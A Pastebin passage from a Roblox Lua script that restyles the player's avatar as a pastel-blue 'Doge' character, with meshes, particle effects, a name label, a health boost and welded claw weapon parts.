Advertisement
DylanD2003

Untitled

Jul 7th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 245.50 KB | None | 0 0
  1. paly = game.Players.LocalPlayer
  2. Player = game:GetService("Players").LocalPlayer
  3. p = game.Players.LocalPlayer
  4. char = paly.Character
  5. vt = Vector3.new
  6. rarm = char["Right Arm"]
  7. hed = char.Head
  8. local randomquote = 0
  9. larm = char["Left Arm"]
  10. rleg = char["Right Leg"]
  11. lleg = char["Left Leg"]
  12. local maincolor = BrickColor.random()
  13. local effolemode = false
  14. local wrathmode = false
  15. local noobmode = false
  16. local randomname = "???"
  17. local randomnamefem = "???"
  18. local randomchanger = 6
  19. if paly.Name == "MeTheWonderCow" then
  20. randomchanger = 6
  21. end
  22. if randomchanger == 6 then
  23. randomnamefem = "Doge"
  24. effolemode = true
  25. maincolor = BrickColor.new("Pastel Blue")
  26.  
  27. local torsmesh = Instance.new("CharacterMesh", char)
  28. torsmesh.BodyPart = "Torso"
  29. torsmesh.MeshId = "456901040"
  30. local dec2 = Instance.new("Decal", char)
  31. dec2.Face = "Front"
  32. dec2.Texture = "rbxassetid://704529165"
  33. dec2.Parent = char.Head
  34. local deca = Instance.new("Decal", char)
  35. deca.Face = "Front"
  36. deca.Texture = "http://www.roblox.com/asset/?id=58334502"
  37. deca.Parent = char.Head
  38. char.Head.face.Transparency = 1
  39. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  40. char.Head.Transparency = 1
  41.  
  42. for i,v in pairs(char:children()) do
  43. if v:IsA("Hat") then
  44. v:Destroy()
  45. end
  46. end
  47. for i,v in pairs(char:children()) do
  48. if v:IsA("Accessory") then
  49. v:Destroy()
  50. end
  51. end
  52. for i,v in pairs(char:children()) do
  53. if v:IsA("Hair") then
  54. v:Destroy()
  55. end
  56. end
  57. for i,v in pairs(char:children()) do
  58. if v:IsA("Shirt") then
  59. v:Destroy()
  60. end
  61. end
  62. for i,v in pairs(char:children()) do
  63. if v:IsA("Pants") then
  64. v:Destroy()
  65. end
  66. end
  67.  
  68.  
  69. local BC = char["Body Colors"]
  70. BC.HeadColor = BrickColor.new("Cork")
  71. BC.LeftArmColor = BrickColor.new("Cork")
  72. BC.LeftLegColor = BrickColor.new("Cork")
  73. BC.RightArmColor = BrickColor.new("Cork")
  74. BC.RightLegColor = BrickColor.new("Cork")
  75. BC.TorsoColor = BrickColor.new("Cork")
  76.  
  77. ypcall(function()
  78. shirt = Instance.new("Shirt", char)
  79. shirt.Name = "Shirt"
  80. pants = Instance.new("Pants", char)
  81. pants.Name = "Pants"
  82. char.Shirt.ShirtTemplate = "rbxassetid://197358885"
  83. char.Pants.PantsTemplate = "rbxassetid://201629581"
  84. end)
  85. Reaper2 = Instance.new("Model")
  86. Reaper2.Parent = Player.Character
  87. Reaper2.Name = "Reaper2"
  88. rh2 = Instance.new("Part")
  89. rh2.Parent = Reaper2
  90. rh2.BrickColor = maincolor
  91. rh2.Locked = true
  92. rh2.CanCollide = false
  93. mesh2 = Instance.new("SpecialMesh")
  94. rh2.formFactor = "Symmetric"
  95. mesh2.MeshType = "FileMesh"
  96. mesh2.MeshId = "http://www.roblox.com/asset/?id=151778863"
  97. mesh2.TextureId = "http://www.roblox.com/asset/?id=151778895"
  98. mesh2.Parent = rh2
  99. local weld2 = Instance.new("Weld")
  100. weld2.Parent = rh2
  101. rh2.Transparency = 0
  102. weld2.Part0 = rh2
  103. weld2.Part1 = Player.Character.Head
  104. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  105.  
  106.  
  107. local orbe = Instance.new("Part")
  108. orbe.Parent = char
  109. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  110. orbe.Archivable = true
  111. orbe.Transparency = 1
  112. orbe.BrickColor = maincolor
  113. orbe.Material = "Neon"
  114. orbe.CanCollide = false
  115. local weld1e = Instance.new("Weld")
  116. weld1e.Parent = rleg
  117. weld1e.Part0 = rleg
  118. weld1e.Part1 = orbe
  119. weld1e.C1 = CFrame.new(0, 1.125, 0)
  120. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  121. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  122. local effectoe = Instance.new("ParticleEmitter",orbe)
  123. effectoe.LightEmission = 1
  124. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  125. effectoe.Color = ColorSequence.new(maincolor.Color)
  126. effectoe.Rate = 10000
  127. effectoe.Lifetime = NumberRange.new(1)
  128. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  129. effectoe.Speed = NumberRange.new(0,0)
  130. effectoe.RotSpeed = NumberRange.new(100,100)
  131.  
  132. local orbze = Instance.new("Part")
  133. orbze.Parent = char
  134. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  135. orbze.Archivable = true
  136. orbze.Transparency = 1
  137. orbze.BrickColor = maincolor
  138. orbze.Material = "Neon"
  139. orbze.CanCollide = false
  140. local weldz1 = Instance.new("Weld")
  141. weldz1.Parent = lleg
  142. weldz1.Part0 = lleg
  143. weldz1.Part1 = orbze
  144. weldz1.C1 = CFrame.new(0, 1.125, 0)
  145. local effectone = Instance.new("ParticleEmitter",orbze)
  146. effectone.LightEmission = 1
  147. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  148. effectone.Color = ColorSequence.new(maincolor.Color)
  149. effectone.Rate = 10000
  150. effectone.Lifetime = NumberRange.new(1)
  151. effectone.Size = NumberSequence.new({pt1e,pt2e})
  152. effectone.Speed = NumberRange.new(0,0)
  153. effectone.RotSpeed = NumberRange.new(100,100)
  154. end
  155.  
  156. if effolemode == true then
  157. maincolor = BrickColor.new("Pastel Blue")
  158. end
  159.  
  160. local orb = Instance.new("Part")
  161. orb.Parent = char
  162. orb.Size = Vector3.new(1, 1, 1)
  163. orb.Archivable = true
  164. orb.Transparency = 1
  165. orb.BrickColor = BrickColor.new("Bright orange")
  166. orb.Material = "Wood"
  167. orb.CanCollide = false
  168. local weld1 = Instance.new("Weld")
  169. weld1.Parent = rarm
  170. weld1.Part0 = rarm
  171. weld1.Part1 = orb
  172. weld1.C1 = CFrame.new(0, 1.125, 0)
  173. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  174. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  175. local effecto = Instance.new("ParticleEmitter",orb)
  176. effecto.LightEmission = 1
  177. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  178. effecto.Color = ColorSequence.new(maincolor.Color)
  179. effecto.Rate = 10000
  180. effecto.Lifetime = NumberRange.new(1)
  181. effecto.Size = NumberSequence.new({pt1,pt2})
  182. effecto.Speed = NumberRange.new(0,0)
  183. effecto.RotSpeed = NumberRange.new(100,100)
  184.  
  185. local orbz = Instance.new("Part")
  186. orbz.Parent = char
  187. orbz.Size = Vector3.new(1, 1, 1)
  188. orbz.Archivable = true
  189. orbz.Transparency = 1
  190. orbz.BrickColor = BrickColor.new("Bright orange")
  191. orbz.Material = "Wood"
  192. orbz.CanCollide = false
  193. local weldz1 = Instance.new("Weld")
  194. weldz1.Parent = larm
  195. weldz1.Part0 = larm
  196. weldz1.Part1 = orbz
  197. weldz1.C1 = CFrame.new(0, 1.125, 0)
  198. local effecton = Instance.new("ParticleEmitter",orbz)
  199. effecton.LightEmission = 1
  200. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  201. effecton.Color = ColorSequence.new(maincolor.Color)
  202. effecton.Rate = 10000
  203. effecton.Lifetime = NumberRange.new(1)
  204. effecton.Size = NumberSequence.new({pt1,pt2})
  205. effecton.Speed = NumberRange.new(0,0)
  206. effecton.RotSpeed = NumberRange.new(100,100)
  207.  
  208.  
  209. p = game.Players.LocalPlayer
  210. char = p.Character
  211. torso = char.Torso
  212. neck = char.Torso.Neck
  213. hum = char.Humanoid
  214. hum.MaxHealth = 12500
  215. wait()
  216. hum.Health =hum.MaxHealth
  217.  
  218. CV="Hot pink"
  219.  
  220. local txt = Instance.new("BillboardGui", char)
  221. txt.Adornee = char .Head
  222. txt.Name = "_status"
  223. txt.Size = UDim2.new(2, 0, 1.2, 0)
  224. txt.StudsOffset = Vector3.new(-9, 8, 0)
  225. local text = Instance.new("TextLabel", txt)
  226. text.Size = UDim2.new(10, 0, 7, 0)
  227. text.FontSize = "Size24"
  228. text.TextScaled = true
  229. text.TextTransparency = 0
  230. text.BackgroundTransparency = 1
  231. text.TextTransparency = 0
  232. text.TextStrokeTransparency = 0
  233. text.Font = "SciFi"
  234. text.TextStrokeColor3 = Color3.new(0,0,0)
  235.  
  236. v=Instance.new("Part")
  237. v.Name = "ColorBrick"
  238. v.Parent=p.Character
  239. v.FormFactor="Symmetric"
  240. v.Anchored=true
  241. v.CanCollide=false
  242. v.BottomSurface="Smooth"
  243. v.TopSurface="Smooth"
  244. v.Size=Vector3.new(10,5,3)
  245. v.Transparency=1
  246. v.CFrame=char.Torso.CFrame
  247. v.BrickColor=BrickColor.new(CV)
  248. v.Transparency=1
  249. text.TextColor3 = BrickColor.new("Pastel Blue").Color
  250. v.Shape="Block"
  251. text.Text = "Doge"
  252.  
  253.  
  254. euler = CFrame.fromEulerAnglesXYZ
  255. angles = CFrame.Angles
  256. local player = "LocalPlayer"
  257. local Character = game.Players[player].Character
  258. it = Instance.new
  259. vt = Vector3.new
  260. bc = BrickColor.new
  261. cf = CFrame.new
  262. mr = math.rad
  263. local Weapon = {}
  264. local p = game.Players.LocalPlayer
  265. local char = p.Character
  266. local mouse = p:GetMouse()
  267. local larm = char["Left Arm"]
  268. local rarm = char["Right Arm"]
  269. local lleg = char["Left Leg"]
  270. local rleg = char["Right Leg"]
  271. local hed = char.Head
  272. local torso = char.Torso
  273. local hum = char.Humanoid
  274. local cam = game.Workspace.CurrentCamera
  275. local root = char.HumanoidRootPart
  276. local deb = false
  277. local shot = 0
  278.  
  279. local debris=game:service"Debris"
  280. local l = game:GetService("Lighting")
  281. local rs = game:GetService("RunService").RenderStepped
  282. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  283. math.randomseed(os.time())
  284. for i,v in pairs (hed:GetChildren()) do
  285. if v:IsA("Sound") then
  286. v:Destroy()
  287. end
  288. end
  289. ---------------------------------------------------- BeastClaw
  290. NoOutline = function(Part)
  291. Part.TopSurface = 10
  292. end
  293. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  294. local fp = it("Part")
  295. fp.formFactor = formfactor
  296. fp.Parent = parent
  297. fp.Reflectance = reflectance
  298. fp.Transparency = transparency
  299. fp.CanCollide = false
  300. fp.Locked = true
  301. fp.BrickColor = brickcolor
  302. fp.Name = name
  303. fp.Size = size
  304. NoOutline(fp)
  305. fp.Material = "Neon"
  306. fp:BreakJoints()
  307. return fp
  308. end
  309. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  310. local mesh = it(Mesh)
  311. mesh.Parent = part
  312. if Mesh == "SpecialMesh" then
  313. mesh.MeshType = meshtype
  314. if meshid ~= "nil" then
  315. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  316. end
  317. end
  318. mesh.Offset = offset
  319. mesh.Scale = scale
  320. return mesh
  321. end
  322. weld = function(parent, part0, part1, c0)
  323. local weld = it("Motor6D")
  324. weld.Parent = parent
  325. weld.Part0 = part0
  326. weld.Part1 = part1
  327. weld.C0 = c0
  328. return weld
  329. end
  330. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  331. local gui = it(GuiType)
  332. gui.Parent = parent
  333. gui.BackgroundTransparency = backtrans
  334. gui.BackgroundColor3 = backcol
  335. gui.SizeConstraint = "RelativeXY"
  336. gui.Position = pos
  337. gui.Size = size
  338. if GuiType == "TextLabel" then
  339. gui.Text = text
  340. gui.TextXAlignment = "Center"
  341. gui.TextYAlignment = "Center"
  342. gui.Font = "SourceSans"
  343. gui.FontSize = "Size14"
  344. gui.TextWrapped = false
  345. gui.TextStrokeTransparency = 0
  346. gui.TextColor = TorsoColor
  347. else
  348. if GuiType == "ImageLabel" then
  349. gui.Image = "rbxassetid://" .. image
  350. gui.ImageColor3 = backcol
  351. end
  352. end
  353. return gui
  354. end
  355. local handle = nil
  356. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  357. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  358. prt.Material = neon
  359. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  360. wld = weld(handle, prt, wldpar, ceef)
  361. v = it("NumberValue", prt)
  362. v.Value = trans
  363. v.Name = "MainTransparency"
  364. return prt, msh, wld
  365. end
  366. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  367. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  368. prt.Material = neon
  369. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  370. wld = weld(wldpare, prt, wldpar, ceef)
  371. v = it("NumberValue", prt)
  372. v.Value = trans
  373. v.Name = "MainTransparency"
  374. return prt, msh, wld
  375. end
  376. local modelzorzez = Instance.new("Model")
  377. modelzorzez.Parent = workspace.CurrentCamera
  378. modelzorzez.Name = "none"
  379. local Torso = Character.Torso
  380. local LeftArm = Character["Left Arm"]
  381. local RightArm = Character["Right Arm"]
  382. local LeftLeg = Character["Left Leg"]
  383. local RightLeg = Character["Right Leg"]
  384. local Head = Character.Head
  385. local RootPart = Character.HumanoidRootPart
  386. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  387. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  388.  
  389. -- SAHHHH DUUDEEE
  390.  
  391.  
  392.  
  393.  
  394. -- params : ...
  395.  
  396. wait(0.016666666666667)
  397. script.Archivable = false
  398. Effects = {}
  399. local Player = game.Players.localPlayer
  400. local Character = Player.Character
  401. local Humanoid = Character.Humanoid
  402. local mouse = Player:GetMouse()
  403. local m = Instance.new("Model", Character)
  404. m.Name = "WeaponModel"
  405. local effect = Instance.new("Model", Character)
  406. effect.Name = "effecsfsafzx"
  407. local demon = Instance.new("Model", Character)
  408. demon.Name = "demdemd"
  409. local LeftArm = Character["Left Arm"]
  410. local RightArm = Character["Right Arm"]
  411. local LeftLeg = Character["Left Leg"]
  412. local RightLeg = Character["Right Leg"]
  413. local do2target = nil
  414. local Head = Character.Head
  415. local Torso = Character.Torso
  416. TorsoColor = BrickColor.new("Pastel Blue")
  417. z = Instance.new("Sound", Torso)
  418. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  419. z.Looped = true
  420. z.Pitch = 0
  421. z.Volume = 0
  422. wait(.1)
  423. z:Play()
  424. local cam = game.Workspace.CurrentCamera
  425. local RootPart = Character.HumanoidRootPart
  426. local RootJoint = RootPart.RootJoint
  427. local equipped = false
  428. local attack = false
  429. local Anim = "Idle"
  430. local idle = 0
  431. local attacktype = 1
  432. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  433. local velocity = RootPart.Velocity.y
  434. local sine = 0
  435. local change = 1
  436. local mana = 0
  437. local it = Instance.new
  438. vt = Vector3.new
  439. local grabbed = false
  440. local cf = CFrame.new
  441. local mr = math.rad
  442. local angles = CFrame.Angles
  443. local ud = UDim2.new
  444. local c3 = Color3.new
  445. clerp = function(a, b, t)
  446.  
  447. return a:lerp(b, t)
  448. end
  449.  
  450. local RbxUtility = LoadLibrary("RbxUtility")
  451. local Create = RbxUtility.Create
  452. RemoveOutlines = function(part)
  453.  
  454. part.TopSurface = 10
  455. end
  456.  
  457. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  458.  
  459. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  460. RemoveOutlines(Part)
  461. return Part
  462. end
  463.  
  464. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  465.  
  466. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  467. if Mesh == "SpecialMesh" then
  468. Msh.MeshType = MeshType
  469. Msh.MeshId = MeshId
  470. end
  471. return Msh
  472. end
  473.  
  474. local co1 = 3
  475. local co2 = 10
  476. local co3 = 15
  477. local co4 = 30
  478. local cooldown1 = 0
  479. local cooldown2 = 0
  480. local cooldown3 = 0
  481. local cooldown4 = 0
  482. local maxEnergy = 100
  483. local Energy = 0
  484. local skill1stam = 1000
  485. local skill2stam = 1000
  486. local skill3stam = 1000
  487. local skill4stam = 1000
  488. local recovermana = 5
  489. local skillcolorscheme = BrickColor.new("White").Color
  490. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  491. makeframe = function(par, trans, pos, size, color)
  492.  
  493. local frame = Instance.new("Frame", par)
  494. frame.BackgroundTransparency = trans
  495. frame.BorderSizePixel = 0
  496. frame.Position = pos
  497. frame.Size = size
  498. frame.BackgroundColor3 = color
  499. return frame
  500. end
  501.  
  502. makelabel = function(par, text)
  503.  
  504. local label = Instance.new("TextLabel", par)
  505. label.BackgroundTransparency = 1
  506. label.Size = UDim2.new(1, 0, 1, 0)
  507. label.Position = UDim2.new(0, 0, 0, 0)
  508. label.TextColor3 = Color3.new(255, 255, 255)
  509. label.TextStrokeTransparency = 0
  510. label.FontSize = Enum.FontSize.Size32
  511. label.Font = Enum.Font.SourceSansLight
  512. label.BorderSizePixel = 0
  513. label.TextScaled = true
  514. label.Text = text
  515. end
  516.  
  517. ArtificialHB = Instance.new("BindableEvent", script)
  518. ArtificialHB.Name = "Heartbeat"
  519. script:WaitForChild("Heartbeat")
  520. frame = 0.033333333333333
  521. tf = 0
  522. allowframeloss = false
  523. tossremainder = false
  524. lastframe = tick()
  525. script.Heartbeat:Fire()
  526. game:GetService("RunService").Heartbeat:connect(function(s, p)
  527.  
  528. tf = tf + s
  529. if frame <= tf then
  530. if allowframeloss then
  531. script.Heartbeat:Fire()
  532. lastframe = tick()
  533. else
  534. for i = 1, math.floor(tf / frame) do
  535. script.Heartbeat:Fire()
  536. end
  537. lastframe = tick()
  538. end
  539. if tossremainder then
  540. tf = 0
  541. else
  542. tf = tf - frame * math.floor(tf / frame)
  543. end
  544. end
  545. end
  546. )
  547. swait = function(num)
  548.  
  549. if num == 0 or num == nil then
  550. ArtificialHB.Event:wait()
  551. else
  552. for i = 0, num do
  553. ArtificialHB.Event:wait()
  554. end
  555. end
  556. end
  557.  
  558. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  559.  
  560. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  561. return Weld
  562. end
  563.  
  564. rayCast = function(Position, Direction, Range, Ignore)
  565.  
  566. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  567. end
  568.  
  569. CreateSound = function(id, par, vol, pit)
  570.  
  571. coroutine.resume(coroutine.create(function()
  572.  
  573. local sou = Instance.new("Sound", par or workspace)
  574. sou.Volume = vol
  575. sou.Pitch = pit or 1
  576. sou.SoundId = id
  577. swait()
  578. sou:play()
  579. game:GetService("Debris"):AddItem(sou, 6)
  580. end
  581. ))
  582. end
  583.  
  584. local getclosest = function(obj, distance)
  585.  
  586. local last, lastx = distance + 1, nil
  587. for i,v in pairs(workspace:GetChildren()) do
  588. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  589. local t = v.Torso
  590. local dist = t.Position - obj.Position.magnitude
  591. if dist <= distance and dist < last then
  592. last = dist
  593. lastx = v
  594. end
  595. end
  596. end
  597. return lastx
  598. end
  599.  
  600. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  601.  
  602. if PartType == "Part" then
  603. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  604. RemoveOutlines(Part)
  605. return Part
  606. else
  607. do
  608. if PartType == "WedgePart" then
  609. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  610. RemoveOutlines(Part)
  611. return Part
  612. end
  613. end
  614. end
  615. end
  616.  
  617. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  618. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  619. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  620. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  621. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  622. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  623. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  624. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  625. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  626. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  627. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  628. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  629. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  630. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  631. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  632. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  633. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  634. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  635. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  636. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  637. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  638. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  639. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  640. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  641. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  642. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  643. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  644. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  645. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  646. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  647. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  648. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  649. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  650. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  651. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  652. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  653. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  654. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  655. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  656. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  657. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  658. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  659. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
